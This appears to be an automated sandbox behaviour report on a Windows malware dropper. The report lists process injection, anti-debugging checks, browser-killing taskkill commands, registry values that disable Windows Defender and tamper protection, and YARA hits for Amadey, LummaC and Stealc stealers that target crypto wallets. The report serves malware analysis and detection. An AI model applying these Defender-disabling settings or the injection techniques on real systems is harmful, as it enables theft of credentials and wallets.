Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe

Code function: 0_2_054F0E04 rdtsc

0_2_054F0E04

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe

Code function: 15_2_00449660 LdrInitializeThunk,

15_2_00449660

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 13_2_00709912 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

13_2_00709912

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 13_2_00702940 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

13_2_00702940

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_0070F06D mov eax, dword ptr fs:[00000030h]	13_2_0070F06D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_007137CF mov eax, dword ptr fs:[00000030h]	13_2_007137CF
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 14_2_028521C1 mov edi, dword ptr fs:[00000030h]	14_2_028521C1
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 14_2_0285233E mov edi, dword ptr fs:[00000030h]	14_2_0285233E
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703B77A6 mov eax, dword ptr fs:[00000030h]	15_2_703B77A6

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 13_2_00702C60 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,

13_2_00702C60

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process token adjusted: Debug

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_00709035 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00709035
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_00709912 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00709912
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_0070C213 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_0070C213
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_00709AA9 SetUnhandledExceptionFilter,	13_2_00709AA9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_10002AF3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_10002AF3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_100057B0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_100057B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_10002FEE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_10002FEE
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703B211B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_703B211B
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703B24B7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_703B24B7
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703B8EDD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_703B8EDD

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 2009d9de82.exe PID: 7884, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 700000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe

Code function: 14_2_028521C1 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

14_2_028521C1

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 700000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Memory written: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe base: 400000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 41B008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 700000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 701000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 71D000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 72A000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 72C000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 72D000	Jump to behavior

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user~1\AppData\Local\Temp\bb556cff4a\rapes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe "C:\Users\user~1\AppData\Local\Temp\10128840101\c2f48edf32.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe "C:\Users\user~1\AppData\Local\Temp\10128850101\7f41c1bc85.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe "C:\Users\user~1\AppData\Local\Temp\10128860101\5a20da7e37.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe "C:\Users\user~1\AppData\Local\Temp\10128870101\4bcefcec83.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe "C:\Users\user~1\AppData\Local\Temp\10128880101\2009d9de82.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe "C:\Users\user~1\AppData\Local\Temp\10128890101\3353aa7d43.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe "C:\Users\user~1\AppData\Local\Temp\10128900101\a026d51e13.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process created: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe "C:\Users\user~1\AppData\Local\Temp\10128860101\5a20da7e37.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 3353aa7d43.exe, 00000017.00000002.1621563353.0000000000B32000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: rapes.exe, rapes.exe, 00000002.00000002.1022139282.000000000076B000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: VP_Program Manager
Source: c2f48edf32.exe, c2f48edf32.exe, 00000004.00000002.1329641339.0000000000AD6000.00000040.00000001.01000000.00000009.sdmp, 4bcefcec83.exe, 00000014.00000002.2540340602.00000000005C0000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Program Manager
Source: 7f41c1bc85.exe	Binary or memory string: ,5Program Manager
Source: 2009d9de82.exe, 00000015.00000002.1509208055.000000000118E000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: vProgram Manager
Source: 7f41c1bc85.exe, 00000006.00000002.1341441991.0000000001048000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: ,5Program Manager

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 13_2_00709B13 cpuid

13_2_00709B13

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 13_2_00709D45 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

13_2_00709D45

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 5a20da7e37.exe, 0000000F.00000002.2454835391.0000000001163000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2432909792.0000000001736000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2432467164.0000000001736000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2432100869.00000000016BA000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2432100869.0000000001736000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2432467164.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2432100869.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3886610711.0000000001274000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3976864413.000000000131B000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3885824732.0000000001274000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.977723439.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.981792054.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1022071947.0000000000571000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1018115850.0000000000571000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.939040305.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1066544935.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 3353aa7d43.exe PID: 8132, type: MEMORYSTR

Yara detected GCleaner

Source: Yara match	File source: 13.2.BitLockerToGo.exe.700000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.c2f48edf32.exe.de98000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.c2f48edf32.exe.dec4000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.c2f48edf32.exe.de00000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.c2f48edf32.exe.def0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.c2f48edf32.exe.df1c000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1345225664.000000000DE98000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1345225664.000000000DEF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1345225664.000000000DE00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1345225664.000000000DEC4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1345225664.000000000DF1C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1650876424.0000000000701000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1336137578.000000000DC4C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 4bcefcec83.exe PID: 7672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4bcefcec83.exe PID: 8012, type: MEMORYSTR
Source: Yara match	File source: 15.2.5a20da7e37.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.5a20da7e37.exe.3859550.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.5a20da7e37.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.4bcefcec83.exe.3a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.4bcefcec83.exe.3a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.1273461522.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2453248981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1341218856.0000000000E61000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1698267306.0000000003859000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000015.00000003.1468184822.0000000004B80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.1638611281.0000000000DB1000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.1597360565.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1509062619.0000000000DB1000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2009d9de82.exe PID: 7884, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 5a20da7e37.exe, 0000000F.00000002.2454835391.0000000001163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: 5a20da7e37.exe, 0000000F.00000002.2454835391.0000000001163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 5a20da7e37.exe, 0000000F.00000002.2454835391.0000000001163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 4bcefcec83.exe, 00000014.00000003.2399025897.00000000016C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: 4bcefcec83.exe, 00000014.00000003.2360560512.000000000170B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet^
Source: 5a20da7e37.exe, 0000000F.00000002.2455383859.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3K
Source: 4bcefcec83.exe, 00000016.00000003.3152931789.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance17-2476756634-1003
Source: 5a20da7e37.exe, 0000000F.00000002.2455152254.0000000001199000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: 4bcefcec83.exe, 00000014.00000003.2248056593.00000000016C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
